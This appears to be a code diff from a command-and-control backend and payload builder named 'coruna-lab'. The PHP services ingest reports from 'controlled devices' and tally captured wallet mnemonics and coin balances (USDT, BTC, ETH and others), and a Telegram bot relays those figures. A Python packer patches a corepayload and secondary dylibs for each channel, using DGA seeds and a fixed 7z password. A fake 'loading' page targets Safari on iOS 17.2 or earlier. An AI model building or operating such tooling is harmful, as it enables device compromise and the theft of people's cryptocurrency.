||||
return $query;
|
||||
}
|
||||
|
||||
private function countDeviceChildren(
|
||||
Builder $query,
|
||||
string $table,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
): int {
|
||||
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
|
||||
->count($table.'.id');
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum coin columns across wallet_addresses for devices in the same scope as dashboard totals.
|
||||
* Not limited by the time range (current holdings).
|
||||
*
|
||||
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
|
||||
*/
|
||||
private function sumBalances(?User $agent, ?int $agentUserId, string $channelId, bool $channelExact): array
|
||||
{
|
||||
$q = $this->scopedDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
|
||||
$selects = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||
}
|
||||
$row = $q->selectRaw(implode(', ', $selects))->first();
|
||||
|
||||
$out = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $row?->{$col} ?? 0;
|
||||
$formatted = WalletAddress::formatAmount($col, $raw);
|
||||
$out[$col] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
@@ -209,17 +332,32 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, pv: int, uv: int, pct: float}
|
||||
* Visit breakdown row. pct = uv / $totalUv (UV share).
|
||||
*
|
||||
* @return array{label: string, uv: int, pct: float}
|
||||
*/
|
||||
private function row(string $label, int $pv, int $uv, int $totalPv): array
|
||||
private function visitRow(string $label, int $uv, int $totalUv): array
|
||||
{
|
||||
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0;
|
||||
$pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
|
||||
|
||||
return [
|
||||
'label' => $label,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'pct' => $pct,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, count: int, pct: float}
|
||||
*/
|
||||
private function deviceRow(string $label, int $count, int $total): array
|
||||
{
|
||||
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
|
||||
|
||||
return [
|
||||
'label' => $label,
|
||||
'count' => $count,
|
||||
'pct' => $pct,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
class FilterOptionsService
|
||||
{
|
||||
public const CACHE_TTL_SECONDS = 300;
|
||||
|
||||
public const CACHE_CHANNELS_ADMIN = 'filter_options:channels:admin';
|
||||
|
||||
public const CACHE_AGENTS = 'filter_options:agents';
|
||||
|
||||
public static function channelsCacheKeyForAgent(int $agentId): string
|
||||
{
|
||||
return 'filter_options:channels:agent:'.$agentId;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{value: string, label: string}>
|
||||
*/
|
||||
public function channelOptions(?User $agent = null): array
|
||||
{
|
||||
if ($agent !== null) {
|
||||
$key = self::channelsCacheKeyForAgent((int) $agent->id);
|
||||
|
||||
return Cache::remember($key, self::CACHE_TTL_SECONDS, function () use ($agent) {
|
||||
return $this->mapChannels(
|
||||
Channel::query()
|
||||
->where('user_id', (int) $agent->id)
|
||||
->orderByDesc('id')
|
||||
->get(['channel_id', 'remark'])
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
return Cache::remember(self::CACHE_CHANNELS_ADMIN, self::CACHE_TTL_SECONDS, function () {
|
||||
return $this->mapChannels(
|
||||
Channel::query()->orderByDesc('id')->get(['channel_id', 'remark'])
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{value: string, label: string}>
|
||||
*/
|
||||
public function agentOptions(): array
|
||||
{
|
||||
return Cache::remember(self::CACHE_AGENTS, self::CACHE_TTL_SECONDS, function () {
|
||||
return User::query()
|
||||
->orderBy('username')
|
||||
->get(['id', 'username', 'comment'])
|
||||
->map(function (User $u) {
|
||||
$name = trim((string) $u->username);
|
||||
$comment = trim((string) ($u->comment ?? ''));
|
||||
|
||||
return [
|
||||
'value' => (string) $u->id,
|
||||
'label' => $comment !== '' ? $name.'/'.$comment : $name,
|
||||
];
|
||||
})
|
||||
->values()
|
||||
->all();
|
||||
});
|
||||
}
|
||||
|
||||
public function forgetAll(): void
|
||||
{
|
||||
Cache::forget(self::CACHE_CHANNELS_ADMIN);
|
||||
Cache::forget(self::CACHE_AGENTS);
|
||||
}
|
||||
|
||||
public function forgetChannels(?int $agentUserId = null): void
|
||||
{
|
||||
Cache::forget(self::CACHE_CHANNELS_ADMIN);
|
||||
if ($agentUserId !== null && $agentUserId > 0) {
|
||||
Cache::forget(self::channelsCacheKeyForAgent($agentUserId));
|
||||
}
|
||||
}
|
||||
|
||||
public function forgetAgents(): void
|
||||
{
|
||||
Cache::forget(self::CACHE_AGENTS);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, Channel> $channels
|
||||
* @return list<array{value: string, label: string}>
|
||||
*/
|
||||
private function mapChannels($channels): array
|
||||
{
|
||||
return $channels->map(function (Channel $c) {
|
||||
$id = (string) $c->channel_id;
|
||||
$remark = trim((string) ($c->remark ?? ''));
|
||||
|
||||
return [
|
||||
'value' => $id,
|
||||
'label' => $remark !== '' ? $id.'/'.$remark : $id,
|
||||
];
|
||||
})->values()->all();
|
||||
}
|
||||
}
|
||||
@@ -151,7 +151,8 @@ class IngestService
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
* New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
|
||||
* Other new-builder routes: create device without writing channel_id.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -162,7 +163,7 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
@@ -251,15 +252,19 @@ class IngestService
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
* New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
|
||||
* Other xxbb short paths: never write channel_id (device may still be created).
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
if (! $this->isXxbbCoreRequest($request)) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
return $this->channelFromVerHeaders($request);
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
@@ -273,69 +278,35 @@ class IngestService
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
private function isXxbbCoreRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_xxbb_core', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit in the last N minutes whose channel_id is a
|
||||
* new-builder channel, and no device from this client IP has already
|
||||
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
|
||||
* otherwise a recent visit still matches across address families
|
||||
* (Safari iptj is often v4, native /event often v6).
|
||||
* Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
|
||||
* Missing or invalid headers → null channel_id; device is still created.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
private function channelFromVerHeaders(Request $request): array
|
||||
{
|
||||
$ip = PageVisit::normalizeIp($ip);
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
if ($visits->isEmpty()) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
$ipKeys = PageVisit::ipLookupKeys($ip);
|
||||
$sameIp = $visits->filter(
|
||||
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
|
||||
);
|
||||
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
foreach (['ver', 'sdkv'] as $header) {
|
||||
$raw = trim((string) $request->header($header, ''));
|
||||
if ($raw === '') {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
$code = Channel::normalizeNewChannelId($raw);
|
||||
if ($code !== null) {
|
||||
return ['channel_id' => $code, 'source_domain' => null];
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('channel_id', $code)
|
||||
->whereIn('ip', $ipKeys)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
@@ -345,8 +316,12 @@ class IngestService
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
||||
if (! $this->isNewBuilderRequest($request)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
}
|
||||
|
||||
$device = Device::query()->create($attrs);
|
||||
|
||||
@@ -26,25 +26,29 @@ class DataCommand
|
||||
$days = $parts[0];
|
||||
$channelId = $parts[1] ?? '';
|
||||
} elseif (isset($parts[0])) {
|
||||
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
|
||||
$channelId = $parts[0];
|
||||
} else {
|
||||
$parsed = $this->parseChannelId($parts[0]);
|
||||
if ($parsed === null) {
|
||||
$bot->sendMessage(
|
||||
"Usage: /data [1|7|30] [channelId]\n"
|
||||
."Omit days for today. Omit channelId for all channels."
|
||||
."Omit days for today. Omit channelId for all channels.\n"
|
||||
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
$channelId = $parsed;
|
||||
}
|
||||
|
||||
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
|
||||
$bot->sendMessage('channelId must be a 32-char hex string.');
|
||||
if ($channelId !== '') {
|
||||
$parsed = $this->parseChannelId($channelId);
|
||||
if ($parsed === null) {
|
||||
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
$channelId = $parsed;
|
||||
}
|
||||
|
||||
$channelId = strtolower($channelId);
|
||||
$agent = $this->context->agent();
|
||||
|
||||
if ($agent !== null && $channelId !== '') {
|
||||
@@ -74,35 +78,90 @@ class DataCommand
|
||||
'agent' => $agent,
|
||||
]);
|
||||
|
||||
$channelLabel = $this->channelLabel($channelId, $agent !== null);
|
||||
|
||||
$lines = [
|
||||
'📊 访问统计',
|
||||
'📊 仪表盘统计',
|
||||
'区间: '.$data['from'].' ~ '.$data['to'],
|
||||
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
|
||||
'渠道: '.$channelLabel,
|
||||
'',
|
||||
'总设备: '.$data['total'],
|
||||
'📦 设备与资产',
|
||||
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
|
||||
'新增设备: '.$data['new_count'],
|
||||
'活跃设备: '.$data['active_count'],
|
||||
'助记词: '.$data['mnemonic_count'],
|
||||
'钱包地址: '.$data['address_count'],
|
||||
'',
|
||||
'💰 总余额',
|
||||
'• USDT '.$data['balances']['usdt'],
|
||||
'• TRX '.$data['balances']['trx'],
|
||||
'• BTC '.$data['balances']['btc'],
|
||||
'• ETH '.$data['balances']['eth'],
|
||||
'• BNB '.$data['balances']['bnb'],
|
||||
'',
|
||||
'🌐 页面访问',
|
||||
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
|
||||
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
|
||||
'有效口径: iOS≤17.2 + Safari',
|
||||
'',
|
||||
'按系统:',
|
||||
'访问 · 按系统 (UV / 占比):',
|
||||
];
|
||||
|
||||
foreach ($data['by_os'] as $row) {
|
||||
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
|
||||
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
|
||||
}
|
||||
|
||||
$lines[] = '';
|
||||
$lines[] = '按 iOS 版本:';
|
||||
$lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
|
||||
if ($data['by_ios_version'] === []) {
|
||||
$lines[] = '• 暂无';
|
||||
} else {
|
||||
foreach ($data['by_ios_version'] as $row) {
|
||||
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
|
||||
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
|
||||
}
|
||||
}
|
||||
|
||||
$lines[] = '';
|
||||
$lines[] = '受控设备 · 系统版本分布:';
|
||||
if ($data['by_device_ios_version'] === []) {
|
||||
$lines[] = '• 暂无';
|
||||
} else {
|
||||
foreach ($data['by_device_ios_version'] as $row) {
|
||||
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
|
||||
}
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", $lines));
|
||||
}
|
||||
|
||||
/**
|
||||
* Accept old 32-hex or new X.Y.ZZ channel ids.
|
||||
*/
|
||||
private function parseChannelId(string $raw): ?string
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return '';
|
||||
}
|
||||
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
|
||||
return strtolower($raw);
|
||||
}
|
||||
|
||||
return Channel::normalizeNewChannelId($raw);
|
||||
}
|
||||
|
||||
private function channelLabel(string $channelId, bool $agentScoped): string
|
||||
{
|
||||
if ($channelId === '') {
|
||||
return $agentScoped ? '本代理全部' : '全部';
|
||||
}
|
||||
|
||||
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
|
||||
if ($row === null) {
|
||||
return $channelId;
|
||||
}
|
||||
$remark = trim((string) ($row->remark ?? ''));
|
||||
|
||||
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -23,11 +23,13 @@ class HelpCommand
|
||||
' 健康检查',
|
||||
'',
|
||||
'/data [1|7|30] [channelId]',
|
||||
' 查询访问统计(同仪表盘)',
|
||||
' 查询仪表盘统计(设备/余额/访问/分布)',
|
||||
' 天数默认当天;渠道默认全部',
|
||||
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
|
||||
' 例: /data',
|
||||
' 例: /data 7',
|
||||
' 例: /data 30 <channelId>',
|
||||
' 例: /data 30 0.0.01',
|
||||
' 例: /data 0.0.01',
|
||||
'',
|
||||
'/channel',
|
||||
' 列出渠道:ID、备注、归属;点按钮复制链接',
|
||||
|
||||
@@ -5,7 +5,8 @@ xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
|
||||
|
||||
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
|
||||
not change, so `c` cannot tell channels apart. Per-channel identity is the
|
||||
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
|
||||
**version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots)
|
||||
patched into core `ver` / `sdkv` / `jbsdk_version`.
|
||||
|
||||
## 1. Build once (shared artifacts)
|
||||
|
||||
@@ -28,44 +29,33 @@ php artisan xxbb:build --channel-c=<32-hex>
|
||||
|
||||
Writes:
|
||||
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **template published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged**
|
||||
|
||||
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
|
||||
|
||||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||||
`CACACACA` is left in place for per-channel packing.
|
||||
|
||||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
|
||||
device ingest can recognize the shared native field.
|
||||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`.
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
|
||||
|
||||
## 2. Pack on channel create
|
||||
|
||||
Admin create (8-char id) runs `tools/pack_channel.py`:
|
||||
Admin create (id like `A.B.C1`) runs:
|
||||
|
||||
1. Copy staged weifile
|
||||
2. Replace `CACACACA` in `index.js` with the channel id
|
||||
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
|
||||
1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**)
|
||||
2. `tools/pack_channel.py` into `public/channel/{ver}/`
|
||||
|
||||
```bash
|
||||
.venv/bin/python tools/pack_channel.py \
|
||||
--channel-code FAFA9988 \
|
||||
--zip-out ../public/channel-source-new/FAFA9988.zip
|
||||
```
|
||||
|
||||
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
|
||||
|
||||
Delete a new channel removes that zip only (shared `/details` stays).
|
||||
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
|
||||
(ops / refresh shared `/details`); channel create already builds from env.
|
||||
|
||||
## Device attribution
|
||||
|
||||
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
||||
- **New channels:** payload `c` is the shared seed. On device create, match
|
||||
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
|
||||
that visit’s `channelCode` as `channel_id`, and store the landing domain on
|
||||
`devices.source_domain`.
|
||||
- **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`,
|
||||
`/event`) set `channel_id` from request header `ver` or `sdkv` when present
|
||||
and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing
|
||||
`channel_id`. Stats use `t.js` → `/statistic/t` with id from the path
|
||||
`/channel/{id}/...`.
|
||||
|
||||
| Flag | What it replaces | Where |
|
||||
|------|------------------|--------|
|
||||
@@ -73,3 +63,4 @@ Delete a new channel removes that zip only (shared `/details` stays).
|
||||
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
|
||||
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
|
||||
| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) |
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,143 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>加载中</title>
|
||||
<style>
|
||||
:root {
|
||||
--bg: #0f1419;
|
||||
--ring: #3d8bfd;
|
||||
--ring-track: rgba(255, 255, 255, 0.12);
|
||||
--text: #f3f6fa;
|
||||
--muted: #9aa7b5;
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html, body {
|
||||
margin: 0;
|
||||
min-height: 100%;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
|
||||
}
|
||||
body {
|
||||
min-height: 100dvh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 24px;
|
||||
}
|
||||
.stage {
|
||||
width: min(100%, 320px);
|
||||
text-align: center;
|
||||
}
|
||||
.ring-wrap {
|
||||
position: relative;
|
||||
width: 168px;
|
||||
height: 168px;
|
||||
margin: 0 auto 28px;
|
||||
}
|
||||
.ring {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
transform: rotate(-90deg);
|
||||
}
|
||||
.ring-track {
|
||||
fill: none;
|
||||
stroke: var(--ring-track);
|
||||
stroke-width: 8;
|
||||
}
|
||||
.ring-progress {
|
||||
fill: none;
|
||||
stroke: var(--ring);
|
||||
stroke-width: 8;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 502.65;
|
||||
stroke-dashoffset: 0;
|
||||
transition: stroke-dashoffset 0.2s linear;
|
||||
}
|
||||
.countdown {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 4px;
|
||||
}
|
||||
.countdown-num {
|
||||
font-size: 42px;
|
||||
font-weight: 600;
|
||||
letter-spacing: -0.02em;
|
||||
line-height: 1;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.countdown-unit {
|
||||
font-size: 13px;
|
||||
color: var(--muted);
|
||||
}
|
||||
.title {
|
||||
margin: 0 0 8px;
|
||||
font-size: 20px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.subtitle {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
color: var(--muted);
|
||||
line-height: 1.5;
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ring-progress { transition: none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="stage" role="status" aria-live="polite">
|
||||
<div class="ring-wrap">
|
||||
<svg class="ring" viewBox="0 0 180 180" aria-hidden="true">
|
||||
<circle class="ring-track" cx="90" cy="90" r="80"></circle>
|
||||
<circle class="ring-progress" id="ring" cx="90" cy="90" r="80"></circle>
|
||||
</svg>
|
||||
<div class="countdown">
|
||||
<span class="countdown-num" id="sec">15</span>
|
||||
<span class="countdown-unit">秒</span>
|
||||
</div>
|
||||
</div>
|
||||
<p class="title">加载中</p>
|
||||
<p class="subtitle">请稍候,正在准备页面…</p>
|
||||
</div>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
<script>
|
||||
(function () {
|
||||
var TOTAL = 15;
|
||||
var CIRC = 2 * Math.PI * 80;
|
||||
var ring = document.getElementById('ring');
|
||||
var secEl = document.getElementById('sec');
|
||||
var left = TOTAL;
|
||||
var started = Date.now();
|
||||
ring.style.strokeDasharray = String(CIRC);
|
||||
ring.style.strokeDashoffset = '0';
|
||||
|
||||
function tick() {
|
||||
var elapsed = (Date.now() - started) / 1000;
|
||||
left = Math.max(0, TOTAL - elapsed);
|
||||
var shown = Math.ceil(left);
|
||||
secEl.textContent = String(shown);
|
||||
ring.style.strokeDashoffset = String(CIRC * (1 - left / TOTAL));
|
||||
if (left > 0) {
|
||||
requestAnimationFrame(tick);
|
||||
} else {
|
||||
secEl.textContent = '0';
|
||||
ring.style.strokeDashoffset = String(CIRC);
|
||||
}
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -472,6 +472,10 @@ def default_state_root() -> Path:
|
||||
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
|
||||
|
||||
|
||||
def default_artifact_root() -> Path:
|
||||
return PROJECT_ROOT / "public"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
|
||||
|
||||
@@ -1,123 +1,345 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Pack a per-channel weifile zip from the already-built staged tree.
|
||||
"""Pack a per-channel exclusive tree under public/channel/{ver}/.
|
||||
|
||||
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
|
||||
Requires `tools/build.py --apply` first (shared staged weifile + public/details).
|
||||
|
||||
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
|
||||
2. Replace CACACACA in index.js with the 8-char channel id
|
||||
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
|
||||
1. Copy public/details + staged weifile
|
||||
2. Patch corepayload `2.2.66` -> channel ver (same length)
|
||||
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
|
||||
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
|
||||
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
|
||||
6. Strip iptj beacon from index.js; inject t.js into weifile.html
|
||||
7. Write to {artifact-root}/channel/{ver}/
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import shutil
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from zipfile import ZIP_DEFLATED, ZipFile
|
||||
|
||||
import build as xxbb_build
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
|
||||
RESULT_MARKER = xxbb_build.RESULT_MARKER
|
||||
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
|
||||
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
|
||||
DETAILS_ROOT = xxbb_build.DETAILS_ROOT
|
||||
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
|
||||
CORE_WIRE_NAME = xxbb_build.CORE_WIRE_NAME
|
||||
CORE_MEMBER_NAME = xxbb_build.CORE_MEMBER_NAME
|
||||
SHOW_WIRE_NAME = xxbb_build.SHOW_WIRE_NAME
|
||||
SHOW_MEMBER_NAME = xxbb_build.SHOW_MEMBER_NAME
|
||||
ORIGINAL_VER = "2.2.66"
|
||||
SHOW_PATH_OLD = b"/details/show.html"
|
||||
# equal length (18): /c/X.Y.ZZ/show.htm
|
||||
SHOW_PATH_TMPL = "/c/{ver}/show.htm"
|
||||
CHANNEL_VER_RE = re.compile(r"^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$")
|
||||
IPTJ_TAIL_RE = re.compile(
|
||||
r",function\(\)\{\[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50\]"
|
||||
r".*?\},2e3\)\}\(\);",
|
||||
re.S,
|
||||
)
|
||||
|
||||
|
||||
def normalize_channel_ver(value: str) -> str:
|
||||
ver = (value or "").strip().upper()
|
||||
if not CHANNEL_VER_RE.fullmatch(ver):
|
||||
